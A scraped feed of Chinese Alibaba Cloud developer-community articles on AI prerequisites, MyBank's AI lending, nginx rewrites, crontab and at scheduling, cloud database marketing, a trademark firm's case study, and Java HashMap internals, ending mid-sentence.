        同线性代数一样,概率论也代表了一种看待世界的方式,其关注的焦点是无处不在的可能性。频率学派认为先验分布是固定的,模型参数要靠最大似然估计计算;贝叶斯学派认为先验分布是随机的,模型参数要靠后验概率最大化计算;正态分布是最重要的一种随机变量的分布。

        3、数理统计:如何以小见大?

        在人工智能的研究中,数理统计同样不可或缺。基础的统计理论有助于对机器学习的算法和数据挖掘的结果做出解释,只有做出合理的解读,数据的价值才能够体现。数理统计根据观察或实验得到的数据来研究随机现象,并对研究对象的客观规律做出合理的估计和判断。

        虽然数理统计以概率论为理论基础,但两者之间存在方法上的本质区别。概率论作用的前提是随机变量的分布已知,根据已知的分布来分析随机变量的特征与规律;数理统计的研究对象则是未知分布的随机变量,研究方法是对随机变量进行独立重复的观察,根据得到的观察结果对原始分布做出推断。

        用一句不严谨但直观的话讲:数理统计可以看成是逆向的概率论。数理统计的任务是根据可观察的样本反过来推断总体的性质;推断的工具是统计量,统计量是样本的函数,是个随机变量;参数估计通过随机抽取的样本来估计总体分布的未知参数,包括点估计和区间估计;假设检验通过随机抽取的样本来接受或拒绝关于总体的某个判断,常用于估计机器学习模型的泛化错误率。

        4、最优化理论:如何找到最优解?

        本质上讲,人工智能的目标就是最优化:在复杂环境与多体交互中做出最优决策。几乎所有的人工智能问题最后都会归结为一个优化问题的求解,因而最优化理论同样是人工智能必备的基础知识。最优化理论研究的问题是判定给定目标函数的最大值(最小值)是否存在,并找到令目标函数取到最大值 (最小值) 的数值。如果把给定的目标函数看成一座山脉,最优化的过程就是判断顶峰的位置并找到到达顶峰路径的过程。

        通常情况下,最优化问题是在无约束情况下求解给定目标函数的最小值;在线性搜索中,确定寻找最小值时的搜索方向需要使用目标函数的一阶导数和二阶导数;置信域算法的思想是先确定搜索步长,再确定搜索方向;以人工神经网络为代表的启发式算法是另外一类重要的优化方法。

        5、信息论:如何定量度量不确定性?

        近年来的科学研究不断证实,不确定性就是客观世界的本质属性。换句话说,上帝还真就掷骰子。不确定性的世界只能使用概率模型来描述,这促成了信息论的诞生。

        信息论使用“信息熵”的概念,对单个信源的信息量和通信中传递信息的数量与效率等问题做出了解释,并在世界的不确定性和信息的可测量性之间搭建起一座桥梁。

        总之,信息论处理的是客观世界中的不确定性;条件熵和信息增益是分类问题中的重要参数;KL 散度用于描述两个不同概率分布之间的差异;最大熵原理是分类问题汇总的常用准则。

        6、形式逻辑:如何实现抽象推理?

        1956 年召开的达特茅斯会议宣告了人工智能的诞生。在人工智能的襁褓期,各位奠基者们,包括约翰·麦卡锡、赫伯特·西蒙、马文·闵斯基等未来的图灵奖得主,他们的愿景是让“具备抽象思考能力的程序解释合成的物质如何能够拥有人类的心智。”通俗地说,理想的人工智能应该具有抽象意义上的学习、推理与归纳能力,其通用性将远远强于解决国际象棋或是围棋等具体问题的算法。

        如果将认知过程定义为对符号的逻辑运算,人工智能的基础就是形式逻辑;谓词逻辑是知识表示的主要方法;基于谓词逻辑系统可以实现具有自动推理能力的人工智能;不完备性定理向“认知的本质是计算”这一人工智能的基本理念提出挑战。

        门槛二:英语水平

        这里说的英语,不是说的英语四六级,我们都知道计算机起源于国外,很多有价值的文献都是来自国外,所以想要在人工智能方向有所成就,还是要读一些外文文献的,所以要达到能够读懂外文文献的英语水平。

        门槛三:编程技术

        就像大多数软件应用程序的开发一样,开发人员也在使用多种语言来编写人工智能项目,但是现在还没有任何一种完美的编程语言是可以完全速配人工智能项目的。编程语言的选择往往取决于对人工智能应用程序的期望功能。关于最佳人工智能编程语言的争论从未停止,目前比较常用的5种人工智能编程语言包括:Python、C ++、Java、Lisp、Prolog。

        Python

        由于其语法的简单性和多功能性,Python成为开发人员最喜欢的人工智能开发编程语言。Python最打动人心的地方之一就是便携性,它可以在Linux、Windows、Mac OS和UNIX等平台上使用。允许用户创建交互式的、解释的、模块化的、动态的、可移植的和高级的代码。另外,Python是一种多范式编程语言,支持面向对象,过程式和功能式编程风格。由于其简单的函数库和理想的结构,Python支持神经网络和NLP解决方案的开发。

        优点:Python有丰富多样的库和工具。支持算法测试,而无需实现它们。Python的面向对象设计提高了程序员的生产力。与Java和C ++相比,Python的开发速度更快。

        缺点:习惯使用Python来编写人工智能程序的程序员很难适应其它语言的语法。与C++和Java不同的是,Python需要在解释器的帮助下工作,这就会拖慢在AI开发中的编译和执行速度。此外,Python不适合移动计算。

        C ++

        优点:C++是最快的计算机语言,如果你的人工智能项目对于时间特别敏感,那么C++是很好的选择,它提供更快的执行时间和更快的响应时间(这也是为什么它经常应用于搜索引擎和游戏)。C++允许广泛使用算法,并且在使用统计人工智能技术方面是有效的。另一个重要的因素是C++支持在开发中重用代码。此外,C ++适用于机器学习和神经网络。

        缺点:C ++仅适用于实现特定系统或算法的核心或基础,多任务处理不佳。它遵循自下而上的方法,因此非常复杂。

        Java

        Java也是一种多范式语言,遵循面向对象的原则和一次写入读取/随处运行(WORA)的原则。它是一种AI编程语言,可以在任何支持它的平台上运行,而无需重新编译。

        在各种项目的开发中,Java都是常用语言之一,它不仅适用于NLP和搜索算法,还适用于神经网络。

        Lisp

        Lisp是一门计算机编程语言,是继Fortran之后的第二古老的编程语言。随着时间的推移,LISP逐渐发展成为一种强大的、动态的编码语言。有人认为Lisp是最好的人工智能编程语言,因为它为开发人员提供了自由。在人工智能中使用Lisp,因其灵活性可以快速进行原型设计和实验,当然这也反过来促进Lisp在AI开发中的发展,例如,Lisp有一个独特的宏系统,有助于开发和实现不同级别的智能。

        与大多数人工智能编程语言不同,Lisp在解决特定问题时更加高效,因为它适应了开发人员编写解决方案的需求,非常适合于归纳逻辑项目和机器学习。

        但很少有开发人员熟悉Lisp编程。作为一种较古老的编程语言,Lisp需要配置新的软件和硬件来适应它的使用。

        Prolog

        Prolog也是古老的编程语言之一,与Lisp一样,它也是人工智能项目开发的常用语言,拥有灵活框架的机制,它是一种基于规则和声明性的语言,包含了决定其人工智能编码语言的事实和规则。Prolog支持基本的机制,例如模式匹配、基于树的数据结构和人工智能编程的自动回溯。除了在人工智能项目中广泛使用外,Prolog还用于创建医疗系统。

        人工智能入门的三道门槛,都是一些必备的基础知识,所以不要嫌麻烦,打好基础很关键!

        ]]>
        网商银行首席架构师余锋:网商银行的每一笔贷款都是AI贷款-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 图片1.png

        11月28日,在2019年度观察家金融峰会上,网商银行首席架构师余锋表示,网商银行在人工智能领域一直在探索新的应用方向,目前网商银行的每一笔贷款都是AI贷款。

        网商银行是国内首家运行在云上的银行,没有线下网点,目前已为超过2000万小微企业和个人经营者提供贷款服务。在刚刚过去的双11,他们用20人,完成对300万用户的服务,完成3000亿贷款,这背后是有怎样的技术奥妙?余峰认为AI技术功不可没。

        一方面是识别用户的需求,余锋说,“网商银行通过AI技术,综合考量客户资金需求、场景偏好、价格敏感等维度,会选择在差异化的触达渠道、在合适的时机,使用不同的触达方法,不同的交互方式,不同的定价。”

        另一方面,是识别用户的信用状况,通过AI技术支持下的智能风控技术,网商银行的信贷不良率在1.5%以下,大幅度低于行业平均水平,根据央行统计,500万以下小微企业贷款的平均不良率为5.9%。

        “10万项指标,创建了100多种预测模型和3000多项策略,这样海量的计算与识别,必须依靠AI技术和强大的算力,才能实现小微企业3分钟申请、1秒钟放贷、0人工介入的贷款流程。”余锋表示说。

        AI技术的另一项应用,在于服务银行间交易。今年9月份网商银行发布了一个与上海外汇交易所做的交易机器人,完全替代金融市场交易员的交易工作,同时可以更好地防控信用风险、价格风险和操作风险。日常工作中,交易员的大量时间用在打电话、询价、交流、匹配、提单、中台审批、后台记账,这类交易操作基本被交易机器人替代。上线十天后原来完成100笔交易需要4小时,目前44秒就可以完成22笔,交互机构从全天25家提升为半天50家。金融市场的交易员变成一个真正的模型专家,工作变成制定交易规则、算法策略和博弈策略,培养机器人如何更好地去执行指令。

        据悉,前不久世界银行集团和G20集团向网商银行颁发的全球普惠金融最高奖——全球中小微企业银行奖,以表彰其利用科技,促进了小微企业贷款难这一世界级难题的解决。

        2018年网商银行宣布启动“凡星计划”,向行业开放所有能力和技术,包括AI技术等等,与金融机构共享“310”模式,未来三年将与1000家各类金融机构合作,共同服务三千万个小微企业和个体经营者。目前网商银行已与超过400家金融机构展开合作。

        ]]>
        nginx 通过设置变量来实现多条件且判断-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 set $go2dev 1; if ($uri ~ "^/read/(d+).html") { set $go2dev 0; } if ($uri ~ "^/simple/t(d+).html") { set $go2dev 0; } if ($uri ~ "^/mobile/read/(d+).html") { set $go2dev 0; } if ($uri ~ "^/mobile/simple/t(d+).html") { set $go2dev 0; } if ($go2dev = 1) { rewrite ^(.*)$ https://mengkang.net/ask? permanent; }

        不推荐使用$uri具体可以看这篇博客

        ]]>
        java多线程-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 Java多线程-线程池ThreadPoolExecutor构造方法和规则

        123

        ]]>
        inux命令学习 -at命令&&crontab命令-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 最近在项目中需要定时去执行一些命令,经过查找资料发现了crontab和at命令,接下来就为大家介绍一下这两个命令。

        crontab命令

        linux系统本身就是通过cron这个服务来控制。由于使用者自己也可以设置计划任务,所以, Linux 系统也提供了使用者控制计划任务的命令 crontab 命令。一般来说是默认启动的。如果发现没有启动的话,可以通过which命令来查看命令的执行路径。
        crontab命令 每一行都代表一项任务,每行的每个字段代表一项设置,它的格式共分为六个字段,前五段是时间设定段,第六段是要执行的命令段,格式如下:
        minute hour day month week command # date,不同的参数对应相同位置的,定时执行脚本放到文件内
        其中
        minute: 表示分钟,可以是从0到59之间的任何整数。
        hour:表示小时,可以是从0到23之间的任何整数。
        day:表示日期,可以是从1到31之间的任何整数。
        month:表示月份,可以是从1到12之间的任何整数。
        week:表示星期几,可以是从0到7之间的任何整数,这里的0或7代表星期日。
        command:要执行的命令,可以是系统命令,也可以是自己编写的脚本文件。
        在以上各个字段中,还可以使用以下特殊字符:
        星号(*):代表所有可能的值,例如month字段如果是星号,则表示在满足其它字段的制约条件后每月都执行该命令操作。
        逗号(,):可以用逗号隔开的值指定一个列表范围,例如,“1,2,5,7,8,9”
        中杠(-):可以用整数之间的中杠表示一个整数范围,例如“2-6”表示“2,3,4,5,6”
        正斜线(/):可以用正斜线指定时间的间隔频率,例如“0-23/2”表示每两小时执行一次。同时正斜线可以和星号一起使用,例如*/10,如果用在minute字段,表示每十分钟执行一次。
        crontab的服务命令:
        service crond start //启动服务
        service crond stop //关闭服务
        service crond restart //重启服务
        service crond reload //重新载入配置
        service crond status //启动服务
        常用命令:
        crontab -e # 创建自己的一个任务调度,此时会进入到vi编辑界面,来编写我们要调度的任务
        crontab -l # 列出定时的任务
        crontab -r con_name # 删除crontab文件
        使用举例:
        每一分钟执行一次 * command
        每一小时执行一次 /1 * command
        每天执行一次 /1 * command
        每周执行一次 /1 * command
        每月执行一次 */1 command

        at命令

        at命令用于在指定时间执行命令
        它可以用hh:mm(小时:分钟)式的时间指定。如果该时间已过去,会在第二天执行。
        at 选项 (参数)
        选项有以下几种:
        -f:指定包含具体指令的任务文件;
        -q:指定新任务的队列名称;
        -l:显示待执行任务的列表;
        -d:删除指定的待执行任务;
        -m:任务执行完成后向用户发送E-mail。
        命令实例:
        ①:at now+5minutes
        at> /bin/ls
        at>
        ②:at -f shell脚本或者可执行文件 时间
        atq 查询当前设置的定时任务
        at -c job序号 查看定时任务具体内容
        atrm job序号 删除定时任务。
        以上就是定时任务相关的linux命令。
        ————————————————
        版权声明:本文为CSDN博主「闲庭傲剑」的原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接及本声明。
        原文链接:https://blog.csdn.net/w1018200226/article/details/103313410

        ]]>
        今天的这个小成绩,需要向阿里云的朋友报告一下!-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 今天,想向大家报告一个最新的小成绩:

        在数据库领域的权威评选——Gartner全球数据库魔力象限评比中,阿里云成功进入“挑战者”象限,连续两年作为唯一的中国企业入选。

        这张.JPG

        最新评选表明,阿里云过去一年在产品技术领域进展迅猛,获得市场的广泛认可。

        “阿里云拥有所有云厂商中最为丰富的数据库种类覆盖度,覆盖自研和开源数据库产品。”分析师在报告中表示,“Apsara Stack帮助客户进行本地和云上数据的共享,这是其他云厂商所不具备的重要优势。此外,兼容Oracle数据库表明,阿里云正积极瞄准全面上云的机遇。”

        根据Gartner 统计数据,阿里云已经位居全球云数据库市场份额第三位以及中国市场第一位,年增长率达到116%,营收规模是第二名厂商的2倍。

        过去一年,阿里云在产品技术领域进展迅猛:

        • 5月份,阿里云PolarDB发布重大更新,提供传统数据库一键迁移上云能力,最快数小时内迁移完成,最多节省95%迁移成本。
        • 10月份,阿里自研数据库OceanBase以6088万tpmC登顶TPC-C测试全球榜首。OceanBase不仅支撑了支付宝和网商银行,还通过阿里云新金融对外提供服务,在南京银行、西安银行、广东农信、人保健康险、招商证券等投入生产运行。
        • 今年双11期间,OceanBase、POLARDB以及其他多款数据库产品的共同支持下,保证了双11数亿用户顺畅购物,整体数据库处理峰值达到8700万次/秒以上,创下新纪录。
        • 11月26日,我们和开源数据库厂商MongoDB牵手,在北京达成战略合作,作为合作的第一步,最新版MongoDB 4.2数据库产品正式上线阿里云平台。目前阿里云成为全球唯一可提供最新版MongoDB服务的云厂商,双方合作打通了企业在云上使用最新版开源数据库的通道。

        今天,阿里云的数据库家庭成员已经越来越丰富,我们的目标是成为一个承载各类数据库产品的开放平台,只要客户需要,我们就会尽力满足。

        Gartner在最新版的报告中指出,云数据库将是未来。到2021年,云数据库在整个数据库市场中的占比将首次达到50%;而到2023年,75%的数据库要跑在云平台之上。

        云数据库因天然为云定制,具备云计算的弹性能力,兼具开源数据库的易用、开放特点,及传统数据库的管理和处理性能等优势,未来会成为企业的最佳选择。目前,已有超过40万个数据库实例迁移到阿里云上,包含政务、零售、金融、电信、制造、物流等多个领域的龙头企业。

        最后,我们还是要说:这份数据库领域的殊荣背后,是来自无数伙伴的信任和认可,我们将会继续努力!感谢你们!

        ]]>
        从无名之辈到百强企业,商标新星的成功之路-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 2019年,政府加大监督调控力度,知识产权“强保护”再度升级,政策组合拳强力出击,在一定程度上为知识产权市场营造了良好的市场环境。但不可忽视的是,知识产权并非大众市场,众面窄、拓客难、机制不成熟一直作为知识产权类商标服务面临的三大固有难题,那如何实现困局突围,出路在哪里?
        77bdc451f871469ab7530d3a0705bd33.jpg

        北京诚广信知识产权代理有限公司(以下简称诚广信)面向国家知识产权局,主营知识产权商标服务业务,2018年9月与云市场正式建立合作。合作前,诚广信只是行业中一个默默无闻的小公司,通过阿里云域名团队的技术加持以及云市场的平台优势,在商标代理服务领域迈入全国前100强行列,月均订单实现由100到1000件质的飞跃。

        作为商标领域发展势头强劲的一颗新星,与云市场合作后,诚广信开始拓展自身业务版图,由知识产品代理服务向知识产权维权服务一步步升级。“其实知识产权市场并非大众市场,只是面向企业服务的子类目,它的市场并不是很大。” 诚广信管理者李诚向我们介绍了行业的市场现状,小众市场客源获取难上加难,是诚广信目前面临的最大痛点。再者,线上流量没有平台进入,通路难以打开。在这些痛点面前,诚广信选择阿里云平台获取流量支持,建立云市场阵地打开线上市场,与客户连接,扩大知名度。

        渠道拓客:开放多方流量入口。阿里云云市场作为阿里云旗下软件交易与交付第一平台,相当于软件的“天猫”,无论是传统软件、SaaS、API或服务提供商等都可以直接入驻云市场,直接接入线上流量。对于诚广信而言,云市场就扮演着线上获客流量管道的角色,借助阿里云覆盖全域的流量优势和平台标准化的交易流程,诚广信打造了新的商业模式并开拓出更大的市场。

        平台服务:进行业务规范化指导。阿里云云市场除了为诚广信的商标服务提供流量支持,还针对对诚广信的服务能力进行跟踪优化、辅导规范,帮助诚广信实现服务流程更完善、更人性化的提升,业务能力过硬、监管流程透明的商标服务才能在用户服务满意度上得到市场认可。

        降本提效:最大程度降低运营成本。在知识产权行业,阿里云知识产权服务众所周知,主要为商标代理机构申请人提供一站式电子化的商标查询业务办理,档案管理等底层技术支持 ,极大提高了商标管理的工作效率。阿里云利用独创技术可实现商标最快1分钟提交至商标局。不仅提升了知产保护运用成效,还降低了企业经营知产的成本。

        技术能力:解决方案加持。阿里云云市场满足客户一键发布、服务商迅速响应的双向机制,客户的需求能在第一时间得到解决。“是阿里云云市场,帮助我们及客户开阔了知识产权崭新的视野。”李诚说到。其次,阿里云的知识版权板块可以帮助客户快速联系服务商,构建起渠道商与客户之间的桥梁,消除双方沟通壁垒。

        目前,诚广信已服务10000+用户,与去年相比整体增长500%。“服务的常见客户痛点是商标通过率不足,我们更多地希望借助阿里云的大数据、成熟技术帮助客户由权变成钱,更加完善地保护知识产权。”李诚提到。知识产权的保护与管理也成为中国科技企业的共识,阿里云云市场不仅是软件交易的“撮合者”,更是重视客户成功的企业服务平台,未来将赋能更多中小微企业,实现垂直领域深耕。

        【SaaS加速器官网】: https://saas-accelerator.aliyun.com/

        尾图.jpg

        ]]>
        Java入门系列之集合HashMap源码分析-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 我们知道在Java 8中对于HashMap引入了红黑树从而提高操作性能,由于在上一节我们已经通过图解方式分析了红黑树原理,所以在接下来我们将更多精力投入到解析原理而不是算法本身,HashMap在Java中是使用比较频繁的键值对数据类型,所以我们非常有必要详细去分析背后的具体实现原理,无论是C#还是Java原理解析,从不打算一行行代码解释,我认为最重要的是设计思路,重要的地方可能会多啰嗦两句。

        HashMap原理分析
        我们由浅入深,循序渐进,首先了解下在HashMap中定义的几个属性,稍后会进一步讲解为何要定义这个值,难道是靠拍脑袋吗。

        public class HashMap extends AbstractMap

        implements Map, Cloneable, Serializable {
        
        //默认初始化容量
        static final int DEFAULT_INITIAL_CAPACITY = 1 << 4;
        
        //最大容量
        static final int MAXIMUM_CAPACITY = 1 << 30;
        
        //默认负载因子
        static final float DEFAULT_LOAD_FACTOR = 0.75f;
        
        //链表转红黑树阈值
        static final int TREEIFY_THRESHOLD = 8;
        
        //取消阈值
        static final int UNTREEIFY_THRESHOLD = 6;
        
        //最小树容量
        static final int MIN_TREEIFY_CAPACITY = 64;
        

        }
        构造函数分析

        public HashMap() {
            this.loadFactor = DEFAULT_LOAD_FACTOR; 
        }

        当实例化HashMap时,我们不指定任何参数,此时定义负载因子为0.75f

        public HashMap(int initialCapacity) {

            this(initialCapacity, DEFAULT_LOAD_FACTOR);

        }
        当实例化HashMap时,我们也可以指定初始化容量,此时默认负载因子仍为0.75f。

        public HashMap(int initialCapacity, float loadFactor) {

            if (initialCapacity < 0)
                throw new IllegalArgumentException("Illegal initial capacity: " +
                                                   initialCapacity);
            if (initialCapacity > MAXIMUM_CAPACITY)
                initialCapacity = MAXIMUM_CAPACITY;
            if (loadFactor <= 0 || Float.isNaN(loadFactor))
                throw new IllegalArgumentException("Illegal load factor: " +
                                                   loadFactor);
            this.loadFactor = loadFactor;
            this.threshold = tableSizeFor(initialCapacity);
        }

        当实例化HashMap时,我们既指定默认初始化容量,也可指定负载因子,很显然初始化容量不能小于0,否则抛出异常,若初始化容量超过定义的最大容量,则将定义的最大容量赋值与初始化容量,对于负载因子不能小于或等于0,否则抛出异常。接下来根据提供的初始化容量设置阈值,我们接下来看看上述tableSizeFor方法实现。

        static final int tableSizeFor(int cap) {

            int n = cap - 1;
            n |= n >>> 1;
            n |= n >>> 2;
            n |= n >>> 4;
            n |= n >>> 8;
            n |= n >>> 16;
            return (n < 0) ? 1 : (n >= MAXIMUM_CAPACITY) ? MAXIMUM_CAPACITY : n + 1;

        }
        这个方法是在做什么处理呢?阈值 = 2的次幂大于初始化容量的最小值。 到学习java目前为止,我们接触到了模运算【%】、按位左移【<<】、按位右移【>>】,这里我们将学习到按位或运算【|】、无符号按位右移【>>>】。按位或运算就是二进制有1,结果就为1,否则为0,而无符号按位右移只是高位无正负之分而已。不要看到上述【n | = n >>> 1】一脸懵,实际上就是【n = n | n >>> 1】,和我们正常进行四则运算一个道理,只不过是逻辑运算和位运算符号不同而已罢了。我们通过如下例子来说明上述结论,假设初始化容量为5,接下来我们进行如上运算。

           0000 0000 0000 0000 0000 0000 0000 0101                                                      cap = 5
        
           0000 0000 0000 0000 0000 0000 0000 0100                                                      n = cap - 1
           

            0000 0000 0000 0000 0000 0000 0000 0010 n >>> 1

            0000 0000 0000 0000 0000 0000 0000 0110 n |= n >>> 1

            0000 0000 0000 0000 0000 0000 0000 0001 n >>> 2

            0000 0000 0000 0000 0000 0000 0000 0111 n |= n >>> 2

            0000 0000 0000 0000 0000 0000 0000 0000 n >>> 4

            0000 0000 0000 0000 0000 0000 0000 0111 n |= n >>> 4

            0000 0000 0000 0000 0000 0000 0000 0000 n >>> 8

            0000 0000 0000 0000 0000 0000 0000 0111 n |= n >>> 8

            0000 0000 0000 0000 0000 0000 0000 0000 n >>> 16

            0000 0000 0000 0000 0000 0000 0000 0111 n |= n >>> 16
        如上最终算出来结果为7,然后加上最初计算时减去的1,所以对于初始化容量为5的最小2次幂为8,也就是阈值为8,要是初始化容量为8,那么阈值也为8。接下来到了我们的重点插入操作。

        插入原理分析
        public V put(K key, V value) {

            return putVal(hash(key), key, value, false, true);

        }
        上述插入操作简短一行代码,只不过是调用了putVal方法,但是我们注意到首先计算了键的哈希值,我们看看该方法实现。

        static final int hash(Object key) {

            int h;
            return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);

        }
        直接理解方法大意是:若传入的键为空,则哈希值为0,否则直接调用键的本地hashCode方法获取哈希值,然后对其按位向右移16位,最后进行按位异或(只要不同结果就为1)操作。好像还是不懂,我们暂且搁置一下,我们继续看看插入方法具体实现。

        final V putVal(int hash, K key, V value, boolean onlyIfAbsent,

                       boolean evict) {
            Node[] tab; Node p; int n, i;
            
            // 步骤【1】:tab为空扩容
            if ((tab = table) == null || (n = tab.length) == 0)
                n = (tab = resize()).length;
                
            // 步骤【2】:计算index,并对null做处理     
            if ((p = tab[i = (n - 1) & hash]) == null)
                tab[i] = newNode(hash, key, value, null);
            else {
                Node e; K k;
                
                // 步骤【3】:键存在,直接覆盖值    
                if (p.hash == hash &&
                    ((k = p.key) == key || (key != null && key.equals(k))))
                    e = p;
                    
                // 步骤【4】:若为红黑树    
                else if (p instanceof TreeNode)
                    e = ((TreeNode)p).putTreeVal(this, tab, hash, key, value);
                else {
                    
                    // 步骤【5】:若为链表
                    for (int binCount = 0; ; ++binCount) {
                        if ((e = p.next) == null) {
                            p.next = newNode(hash, key, value, null);
                            
                            //若链表长度大于8则转换为红黑树进行处理
                            if (binCount >= TREEIFY_THRESHOLD - 1)
                                treeifyBin(tab, hash);
                            break;
                        }
                        if (e.hash == hash &&
                            ((k = e.key) == key || (key != null && key.equals(k))))
                            break;
                        p = e;
                    }
                }
                if (e != null) {
                    V oldValue = e.value;
                    if (!onlyIfAbsent || oldValue == null)
                        e.value = value;
                    afterNodeAccess(e);
                    return oldValue;
                }
            }
            ++modCount;
            
            // 步骤【6】:超过最大容量进行扩容
            if (++size > threshold)
                resize();
            afterNodeInsertion(evict);
            return null;
        }

        我们首先来看来步骤【2】,我们待会再来看步骤【1】实现,我们首先摘抄上述获取键的索引逻辑

        if ((p = tab[i = (n - 1) & hash]) == null)

                tab[i] = newNode(hash, key, value, null);

        上述通过计算出键的哈希值并与数组的长度按位与运算,散列算法直接决定键的存储是否分布均匀,否则会发生冲突或碰撞,严重影响性能,所以上述【 (n - 1) & hash 】是发生碰撞的关键所在,难道我们直接调用键的本地hashCode方法获取哈希值不就可以了吗,肯定是不可以的,我们来看一个例子。假设我们通过调用本地的hashCode方法,获取几个键的哈希值为31、63、95,同时默认初始化容量为16。然后调用(n-1 & hash),计算如下:

        0000 0000 0000 0000 0000 0000 0001 1111 hash = 31
        0000 0000 0000 0000 0000 0000 0000 1111 n - 1
        0000 0000 0000 0000 0000 0000 0000 1111 => 15

        0000 0000 0000 0000 0000 0000 0011 1111 hash = 63
        0000 0000 0000 0000 0000 0000 0000 1111 n - 1
        0000 0000 0000 0000 0000 0000 0000 1111 => 15

        0000 0000 0000 0000 0000 0000 0111 1111 hash = 95
        0000 0000 0000 0000 0000 0000 0000 1111 n - 1
        0000 0000 0000 0000 0000 0000 0000 1111 => 15
        因为(2 ^ n-1)的低位始终都是1,再按照按位运算(0-1始终为0)所有最终结果都有1111,这就是为什么返回相同索引的原因,因此,尽管我们具有不同的哈希值,但结果却是存储到哈希桶数组相同索引位置。所以为了解决低位根本就没有参与到运算中的问题:通过调用上述hash方法,按位右移16位并异或,解决因低位没有参与运算导致冲突,提高性能。我们继续回到上述步骤【1】,当数组为空,内部是如何进行扩容的呢?我们来看看resize方法实现。

        final Node[] resize() {

            Node[] oldTab = table;
            int oldCap = (oldTab == null) ? 0 : oldTab.length;
            int oldThr = threshold;
            int newCap, newThr = 0;
            if (oldCap > 0) {
                if (oldCap >= MAXIMUM_CAPACITY) {
                    threshold = Integer.MAX_VALUE;
                    return oldTab;
                }
                else if ((newCap = oldCap << 1) < MAXIMUM_CAPACITY &&
                         oldCap >= DEFAULT_INITIAL_CAPACITY)
                    newThr = oldThr << 1;
            }
            else if (oldThr > 0) 
                newCap = oldThr;
            else {               
                newCap = DEFAULT_INITIAL_CAPACITY;
                newThr = (int)(DEFAULT_LOAD_FACTOR * DEFAULT_INITIAL_CAPACITY);
            }
            if (newThr == 0) {
                float ft = (float)newCap * loadFactor;
                newThr = (newCap < MAXIMUM_CAPACITY && ft < (float)MAXIMUM_CAPACITY ?
                          (int)ft : Integer.MAX_VALUE);
            }
            threshold = newThr;
            ......
        }

        由上可知:当实例化HashMap并无参时,此时默认初始化容量为16,默认阈值为12,负载因子为0.75f,当指定参数(初始化容量比如为5),此时初始化容量为8,阈值为8,负载因子为0.75f。否则也指定了负载因子,则以指定负载因子为准。同时当超过容量时,扩容后的容量为原容量的2倍。到这里我们发现一个问题:hashTable中的容量可为奇或偶数,而HashMap中的容量永远都为2的次幂即偶数,为何要这样设计呢?

        int index = (n - 1) & hash;
        如上为HashMap计算在哈希桶数组中的索引位置,若HashMap中的容量不为2的次幂,此时通过按与运算,索引只能为16或0,这也就意味着将发生更多冲突,也将导致性能很差,本可通过O(1)进行检索,现在需要O(log n),因为发生冲突时,给定存储桶中的所有节点都将存储在红黑树中,若容量为2的次幂,此时按与运算符将和hashTable中计算索引存储位置的方式等同,如下:

        int index = (hash & 0x7FFFFFFF) % tab.length;
        按照HashMap计算索引的方式,当我们从2的次幂中减去1时,得到的是一个二进制末位全为1的数字,例如默认初始化容量为16,如果从中减去1,则得到15,其二进制表示形式是1111,此时如果对1111进行任意数字的按位与运算,我们将得到整数的最后4位,换句话说,等价于对16取模,但是除法运算通常是昂贵的运算,也就是说按位运算比取模运算效率更高。到此我们知道HashMap中容量为2的次幂的原因在于:哈希桶数组索引存储采取按位运算而非取模运算,因其效率比取模运算更高。进行完上述扩容后容量、阈值重新计算后,接下来则需要对哈希桶数组重新哈希(rehash),请继续往下看。

        影响HashMap性能因素分析
        在讲解上述重新哈希之前,我们需要重头开始进行叙述,直到这里,我们知道HashMap默认初始化容量为16,假如我们有16个元素放入到HashMap中,如果实现了很好的散列算法,那么在哈希桶数组中将在每个存储桶中放入1个元素,在此种情况下,查找元素仅需要1次,如果是HashMap中有256元素,如果实现了很好的散列算法,那么在哈希桶数组中将在每个存储桶中放入16个元素,同理,在此种情况下,查找任何一个元素,最多也只需要16次,到这里我们可以知道,如果HashMap中的哈希桶数组存储的元素增加一倍或几倍,那么在每个存储桶中查找元素的最大时间成本并不会很大,但是,如果持续维持默认容量即16不变,如果每个存储桶中有大量元素,此时,HashMap的映射性能将开始下降。比如现在HashMap中有一千六百万条数据,如果实现了很好的散列算法,将在每个存储桶中分配一百万个元素,也就是说,查找任意元素,最多需要查找一百万次。很显然,我们将存储的元素放大后,将严重影响HashMap性能,那么对此我们有何解决方案呢?让我们回到最初的话题,因为默认存储桶大小为16且当存储的元素条目少时,HashMap性能并未有什么改变,但是当存储桶的数量持续增加时,将影响HashMap性能,这是由于什么原因导致的呢?主要是我们一直在维持容量固定不变,我们却一直增加HashMap中哈希桶数组中存储元素的大小,这完全影响到了时间复杂度。如果我们增加存储桶大小,则当每个存储桶中的总项开始增加时,我们将能够使得每个存储桶中的元素个数保持恒定,并对于查询和插入操作保持O(1)的时间复杂度。那么增加存储桶大小也就是容量的时机是什么时候呢?存储桶的大小(容量)由负载因子决定,负载因子是一种度量,它决定着何时增加存储桶的大小(容量),以便针对查询和插入操作保持O(1)的时间复杂度,因此,何时增加容量的大小取决于乘积(初始化容量 负载因子),所以容量和负载因子是影响HashMap性能的根本因素。我们知道默认负载因子是0.75,也就是百分之75,所以增加容量大小的值为(16 0.75)= 12,这个值我们称之为阈值,也就意味着,在HashMap中存储直到第12个键值对时,都将保持容量为16,等到第13个键值对插入到HashMap中时,其容量大小将由默认的16变为( 16 * 2)= 32。通过上述计算增加容量大小即阈值的公式,我们从反向角度思考:负载因子比率 = 哈希桶数组中元素个数 / 哈希桶数组桶大小,举个栗子,若默认桶大小为16,当插入第一个元素时,其负载因子比率 = 1 / 16 = 0.0625 > 0.75 吗?若为否无需增加容量,当插入第13个元素时,其负载因子比率 = 13 / 16 = 0.81 > 